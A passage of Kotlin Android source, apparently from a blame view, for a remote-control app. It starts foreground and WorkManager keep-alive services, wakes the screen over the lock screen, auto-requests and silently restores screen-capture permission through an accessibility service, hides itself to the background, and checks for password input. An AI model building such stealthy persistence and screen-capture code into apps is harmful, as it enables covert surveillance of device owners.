"AUTO_REQUEST_PERMISSION",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"📊 Intent参数: PERMISSION_LOST_RECOVERY=${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
"PERMISSION_LOST_RECOVERY",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}"
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}")
|
|
|
|
|
|
Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}")
|
|
|
|
|
|
Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}")
|
|
|
|
|
|
Log.i(TAG, "📊 Intent Flags: ${intent.flags}")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 详细记录所有Intent参数,用于调试
|
|
|
|
|
|
val extras = intent.extras
|
|
|
|
|
|
if (extras != null) {
|
|
|
|
|
|
Log.i(TAG, "📊 Intent包含${extras.size()}个额外参数:")
|
|
|
|
|
|
for (key in extras.keySet()) {
|
|
|
|
|
|
val value = extras.get(key)
|
|
|
|
|
|
Log.i(TAG, " $key = $value (${value?.javaClass?.simpleName})")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Intent没有任何额外参数!")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
// ✅ 优先检查:是否来自安装完成广播,需要显示WebView
|
|
|
|
|
|
intent.getBooleanExtra("from_installation_complete", false) &&
|
|
|
|
|
|
intent.getBooleanExtra("show_webview", false) -> {
|
|
|
|
|
|
Log.i(TAG, "🌐 检测到安装完成广播,启动WebView")
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 参数: user_initiated=${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
"user_initiated",
|
|
|
|
|
|
false
|
|
|
|
|
|
)
|
|
|
|
|
|
}, force_foreground=${intent.getBooleanExtra("force_foreground", false)}"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 确保布局已设置
|
|
|
|
|
|
try {
|
|
|
|
|
|
val webView = findViewById<android.webkit.WebView>(R.id.webView)
|
|
|
|
|
|
if (webView == null) {
|
|
|
|
|
|
Log.e(TAG, "❌ 未找到WebView,可能布局未设置")
|
|
|
|
|
|
setContentView(R.layout.activity_main)
|
|
|
|
|
|
Log.i(TAG, "✅ 已重新设置布局")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查WebView失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 安装完成后启动保活服务 - 参考 f 目录策略,简化版本
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse)
|
|
|
|
|
|
val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= 26) {
|
|
|
|
|
|
startForegroundService(foregroundIntent)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
startService(foregroundIntent)
|
|
|
|
|
|
}
|
|
|
|
|
|
Log.i(TAG, "✅ 主前台服务已启动(对应 f 目录的 BackRunServerUseUse)")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager)
|
|
|
|
|
|
val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance()
|
|
|
|
|
|
workManagerKeepAlive.startKeepAlive(this)
|
|
|
|
|
|
Log.i(TAG, "✅ WorkManager保活已启动")
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🎉 保活服务启动完成")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动保活服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启动WebView
|
|
|
|
|
|
startWebViewActivity()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("request_camera_permission", false) -> {
|
|
|
|
|
|
Log.i(TAG, "📷 检测到摄像头权限申请请求")
|
|
|
|
|
|
handleCameraPermissionRequest()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> {
|
|
|
|
|
|
Log.i(TAG, "✅ 检测到自动权限申请请求,启动handleAutoPermissionRequest()")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否已有权限申请在进行,防止重复申请
|
|
|
|
|
|
if (permissionRequestInProgress) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 权限申请已在进行中,忽略重复的Intent")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAutoPermissionRequest = true // 设置自动权限申请标志
|
|
|
|
|
|
permissionRequestInProgress = true // 设置权限申请进行中标志
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否为 MIUI 修复模式
|
|
|
|
|
|
val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false)
|
|
|
|
|
|
if (isMiuiFix) {
|
|
|
|
|
|
Log.i(TAG, "🔧 检测到MIUI权限修复模式,使用特殊处理")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"🔧 服务权限修复中...\n正在尝试重新显示权限对话框",
|
|
|
|
|
|
getColor(android.R.color.holo_orange_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "修复中..."
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// MIUI 修复模式:等待更长时间确保Activity完全就绪
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
if (!isFinishing) {
|
|
|
|
|
|
Log.i(TAG, "🔧 MIUI修复:延迟后启动权限申请")
|
|
|
|
|
|
handleAutoPermissionRequest()
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 2000) // 2秒延迟
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 强制将Activity带到前台,确保用户能看到权限申请界面
|
|
|
|
|
|
Log.i(TAG, "📱 强制将MainActivity带到前台")
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ ANR修复:异步处理窗口焦点操作,避免阻塞主线程
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR
|
|
|
|
|
|
// 第一步:设置基本窗口标志
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
|
|
|
|
|
|
|
|
|
|
|
|
// 第二步:延迟设置屏幕相关标志
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
|
|
|
|
|
|
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置Activity为前台显示
|
|
|
|
|
|
setTurnScreenOn(true)
|
|
|
|
|
|
setShowWhenLocked(true)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 窗口标志设置完成")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置屏幕标志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100) // 100ms延迟,避免ANR
|
|
|
|
|
|
|
|
|
|
|
|
// 第三步:延迟执行moveTaskToFront,避免与窗口标志设置冲突
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
val activityManager =
|
|
|
|
|
|
getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
activityManager.moveTaskToFront(
|
|
|
|
|
|
taskId,
|
|
|
|
|
|
android.app.ActivityManager.MOVE_TASK_WITH_HOME
|
|
|
|
|
|
)
|
|
|
|
|
|
Log.i(TAG, "✅ ActivityManager移动任务成功")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ ActivityManager移动任务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 200) // 200ms延迟,确保窗口标志设置完成
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ Activity前台显示操作已异步启动")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 异步设置Activity前台显示失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置Activity前台显示失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
handleAutoPermissionRequest()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到权限丢失恢复请求")
|
|
|
|
|
|
handlePermissionLostRecovery()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("SMART_RECOVERY", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到智能权限恢复请求")
|
|
|
|
|
|
handleSmartPermissionRecovery()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("auto_start", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到开机自启动")
|
|
|
|
|
|
handleAutoStart()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("auto_restart", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到服务自动重启请求")
|
|
|
|
|
|
handleAutoRestart()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("SMART_RETURN_BACKUP", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到智能返回备用启动,显示就绪状态")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 应用已启动\n等待权限申请流程...",
|
|
|
|
|
|
android.R.color.holo_blue_dark
|
|
|
|
|
|
)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "等待中..."
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
// 智能返回备用方案不需要额外处理,只需要确保应用在前台
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
intent.getBooleanExtra("MI_ANDROID13_RETURN", false) -> {
|
|
|
|
|
|
Log.i(TAG, "检测到小米Android 13设备返回启动,显示就绪状态")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 小米Android 13设备\n应用已启动,等待权限申请流程...",
|
|
|
|
|
|
android.R.color.holo_blue_dark
|
|
|
|
|
|
)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "等待中..."
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
// 小米Android 13设备专用返回处理,不需要额外处理
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
// 正常启动,显示初始状态,不自动跳转权限设置
|
|
|
|
|
|
Log.i(TAG, "正常启动应用,显示初始状态")
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理自动权限申请 - 修复时序问题
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAutoPermissionRequest() {
|
|
|
|
|
|
Log.i(TAG, "🚀 开始自动权限申请流程")
|
|
|
|
|
|
Log.i(TAG, "📱 当前Activity状态: finishing=$isFinishing, destroyed=$isDestroyed")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ ANR修复:异步处理权限检查,避免阻塞主线程
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 关键修复:检查真实的MediaProjection权限,而不仅仅是数据存在
|
|
|
|
|
|
Log.i(TAG, "🔍 开始检查MediaProjection权限状态...")
|
|
|
|
|
|
if (checkRealMediaProjectionPermission()) {
|
|
|
|
|
|
Log.i(TAG, "📱 真实MediaProjection权限已存在且有效,发送停止广播并关闭Activity")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 立即发送停止广播,防止MainActivity继续创建
|
|
|
|
|
|
val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION")
|
|
|
|
|
|
sendBroadcast(stopIntent)
|
|
|
|
|
|
Log.i(TAG, "📡 已发送停止Activity创建广播")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 权限已配置完成\n功能正常运行",
|
|
|
|
|
|
getColor(android.R.color.holo_green_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 立即隐藏Activity(不销毁)
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
return@post
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 继续处理权限申请流程
|
|
|
|
|
|
handleAutoPermissionRequestInternal()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 异步处理权限申请失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ ANR修复:内部权限申请处理方法,避免阻塞主线程
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAutoPermissionRequestInternal() {
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 即使有权限数据但权限无效,也要重新申请
|
|
|
|
|
|
val permissionData = MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测到权限数据存在但MediaProjection权限无效,需要重新申请")
|
|
|
|
|
|
Log.w(TAG, "⚠️ 这可能是因为系统只有无障碍截图权限,缺少MediaProjection实时投屏权限")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"⚠️ 检测到服务配置异常\n需要重新申请服务权限\n正在自动处理...",
|
|
|
|
|
|
getColor(android.R.color.holo_orange_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过)
|
|
|
|
|
|
// billd-desk在所有Android版本都通过createScreenCaptureIntent()申请权限
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 修复时序问题:无障碍服务刚启用时,状态检查可能还没有更新
|
|
|
|
|
|
// 既然能收到AUTO_REQUEST_PERMISSION,说明无障碍服务已经启动,直接申请权限
|
|
|
|
|
|
if (AccessibilityRemoteService.isServiceRunning()) {
|
|
|
|
|
|
Log.i(TAG, "✅ AccessibilityService实例已运行,直接申请MediaProjection权限")
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
} else if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "✅ 系统显示无障碍服务已启用,申请MediaProjection权限")
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// ✅ 启动多次自动重试机制,处理状态更新延迟
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无障碍服务状态检查失败,启动自动重试机制")
|
|
|
|
|
|
autoRetryCount = 0
|
|
|
|
|
|
startAutoRetryPermissionCheck()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:启动自动重试权限检测
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startAutoRetryPermissionCheck() {
|
|
|
|
|
|
// 清理之前的重试任务
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
|
|
|
|
|
|
// 立即进行第一次重试检测
|
|
|
|
|
|
performPermissionCheck()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:执行权限检测
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun performPermissionCheck() {
|
|
|
|
|
|
autoRetryCount++
|
|
|
|
|
|
Log.i(TAG, "🔍 执行权限检测 (第${autoRetryCount}次)")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查MediaProjection权限是否真实有效
|
|
|
|
|
|
if (checkRealMediaProjectionPermission()) {
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限已存在且有效,停止重试")
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextSafely(
|
|
|
|
|
|
"✅ 服务权限检测成功\n继续后续权限配置...",
|
|
|
|
|
|
getColor(android.R.color.holo_green_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
}
|
|
|
|
|
|
// 继续下一步权限检查
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检查无障碍服务状态
|
|
|
|
|
|
if (AccessibilityRemoteService.isServiceRunning()) {
|
|
|
|
|
|
Log.i(TAG, "✅ AccessibilityService实例已运行,停止重试并申请MediaProjection权限")
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "✅ 系统显示无障碍服务已启用,停止重试并申请MediaProjection权限")
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 检测失败,判断是否继续重试
|
|
|
|
|
|
if (autoRetryCount <= MAX_AUTO_RETRY_COUNT) {
|
|
|
|
|
|
Log.w(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"⚠️ 无障碍服务状态检查失败 (${autoRetryCount}/${MAX_AUTO_RETRY_COUNT}),${AUTO_RETRY_INTERVAL / 1000}秒后重试"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
updateStatusTextSafelyOnUiThread(
|
|
|
|
|
|
"⏳ 正在检测无障碍服务状态...\n" +
|
|
|
|
|
|
"第${autoRetryCount}次检测,剩余${MAX_AUTO_RETRY_COUNT - autoRetryCount}次重试\n" +
|
|
|
|
|
|
"${AUTO_RETRY_INTERVAL / 1000}秒后自动重试",
|
|
|
|
|
|
getColor(android.R.color.holo_orange_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 安排下次重试
|
|
|
|
|
|
scheduleNextRetry()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 达到最大重试次数,转入手动模式
|
|
|
|
|
|
Log.w(TAG, "❌ 已达到最大重试次数(${MAX_AUTO_RETRY_COUNT}),转入手动配置模式")
|
|
|
|
|
|
stopAutoRetry()
|
|
|
|
|
|
updateStatusTextSafelyOnUiThread(
|
|
|
|
|
|
"⚠️ 自动检测失败\n" +
|
|
|
|
|
|
"已重试${MAX_AUTO_RETRY_COUNT}次,可能需要手动配置\n" +
|
|
|
|
|
|
"请确认无障碍服务已正确开启",
|
|
|
|
|
|
getColor(android.R.color.holo_red_dark)
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟3秒后转入手动模式,给用户查看信息的时间
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}, 3000)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:安排下次重试
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun scheduleNextRetry() {
|
|
|
|
|
|
retryHandler = android.os.Handler(android.os.Looper.getMainLooper())
|
|
|
|
|
|
retryRunnable = Runnable {
|
|
|
|
|
|
if (!isFinishing && !isDestroyed) {
|
|
|
|
|
|
performPermissionCheck()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
retryHandler?.postDelayed(retryRunnable!!, AUTO_RETRY_INTERVAL)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:停止自动重试
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun stopAutoRetry() {
|
|
|
|
|
|
retryRunnable?.let { runnable ->
|
|
|
|
|
|
retryHandler?.removeCallbacks(runnable)
|
|
|
|
|
|
}
|
|
|
|
|
|
retryHandler = null
|
|
|
|
|
|
retryRunnable = null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 处理权限丢失恢复 - 自动重新申请MediaProjection权限
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handlePermissionLostRecovery() {
|
|
|
|
|
|
Log.i(TAG, "🔧 开始权限丢失恢复流程")
|
|
|
|
|
|
|
|
|
|
|
|
if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务正常,开始自动申请MediaProjection权限")
|
|
|
|
|
|
|
|
|
|
|
|
// 显示简短提示 - 使用线程安全方法
|
|
|
|
|
|
updateStatusTextThreadSafe("🔧 检测到服务权限权限丢失\n正在自动重新申请权限...", android.R.color.holo_orange_dark)
|
|
|
|
|
|
updateButtonSafely("正在恢复权限...", null, false)
|
|
|
|
|
|
|
|
|
|
|
|
// 延迟1秒后申请权限,确保UI更新
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
showPermissionRecoveryFailedDialog()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 显示权限恢复失败对话框
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun showPermissionRecoveryFailedDialog() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
androidx.appcompat.app.AlertDialog.Builder(this)
|
|
|
|
|
|
.setTitle("⚠️ 权限恢复失败")
|
|
|
|
|
|
.setMessage("检测到无障碍服务权限已丢失,无法自动恢复服务权限。\n\n需要重新配置所有权限。")
|
|
|
|
|
|
.setPositiveButton("重新配置") { _, _ ->
|
|
|
|
|
|
Log.i(TAG, "✅ 用户选择重新配置权限")
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
.setNegativeButton("稍后处理") { _, _ ->
|
|
|
|
|
|
Log.i(TAG, "⏸️ 用户选择稍后处理")
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}
|
|
|
|
|
|
.setCancelable(false)
|
|
|
|
|
|
.show()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 显示权限恢复失败对话框出错", e)
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理智能权限恢复
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleSmartPermissionRecovery() {
|
|
|
|
|
|
Log.i(TAG, "🧠 开始智能权限恢复流程")
|
|
|
|
|
|
|
|
|
|
|
|
if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务正常,开始智能权限恢复")
|
|
|
|
|
|
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
// 显示非侵入式恢复状态
|
|
|
|
|
|
// 使用线程安全方法
|
|
|
|
|
|
updateStatusTextThreadSafe("🧠 智能权限恢复中...\n正在尝试自动恢复服务权限", android.R.color.holo_blue_dark)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
updateButtonSafely("智能恢复中...", null, false)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试智能恢复
|
|
|
|
|
|
val smartManager =
|
|
|
|
|
|
com.hikoncont.manager.SmartMediaProjectionManager.getInstance(this)
|
|
|
|
|
|
val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
|
|
|
|
|
|
|
|
|
|
|
|
if (permissionData != null) {
|
|
|
|
|
|
val (resultCode, resultData) = permissionData
|
|
|
|
|
|
if (resultData != null) {
|
|
|
|
|
|
Log.i(TAG, "🔧 使用现有权限数据进行智能恢复")
|
|
|
|
|
|
|
|
|
|
|
|
val recovered = smartManager.setMediaProjection(resultCode, resultData)
|
|
|
|
|
|
if (recovered) {
|
|
|
|
|
|
Log.i(TAG, "✅ 智能权限恢复成功")
|
|
|
|
|
|
handleSmartRecoverySuccess()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 智能恢复失败,进行标准权限申请
|
|
|
|
|
|
Log.w(TAG, "⚠️ 智能恢复失败,进行标准权限申请")
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
requestMediaProjectionPermission()
|
|
|
|
|
|
}, 1000)
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置")
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
showPermissionRecoveryFailedDialog()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理智能恢复成功
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleSmartRecoverySuccess() {
|
|
|
|
|
|
// 使用线程安全方法更新UI
|
|
|
|
|
|
updateStatusTextThreadSafe("✅ 智能权限恢复成功\n服务权限已自动恢复", android.R.color.holo_green_dark)
|
|
|
|
|
|
updateButtonSafely("恢复完成", null, false)
|
|
|
|
|
|
|
|
|
|
|
|
// 通知AccessibilityService权限恢复成功
|
|
|
|
|
|
val intent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
|
|
|
|
|
|
putExtra("success", true)
|
|
|
|
|
|
putExtra("smart_recovery", true)
|
|
|
|
|
|
}
|
|
|
|
|
|
sendBroadcast(intent)
|
|
|
|
|
|
|
|
|
|
|
|
// 2秒后隐藏界面
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}, 2000)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 获取设备ID(重命名避免与Android 14+ Activity.getDeviceId()冲突)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getLocalDeviceId(): String {
|
|
|
|
|
|
return android.provider.Settings.Secure.getString(
|
|
|
|
|
|
contentResolver,
|
|
|
|
|
|
android.provider.Settings.Secure.ANDROID_ID
|
|
|
|
|
|
) ?: "unknown"
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检查密码输入是否已完成
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isPasswordInputCompleted(): Boolean {
|
|
|
|
|
|
try {
|
|
|
|
|
|
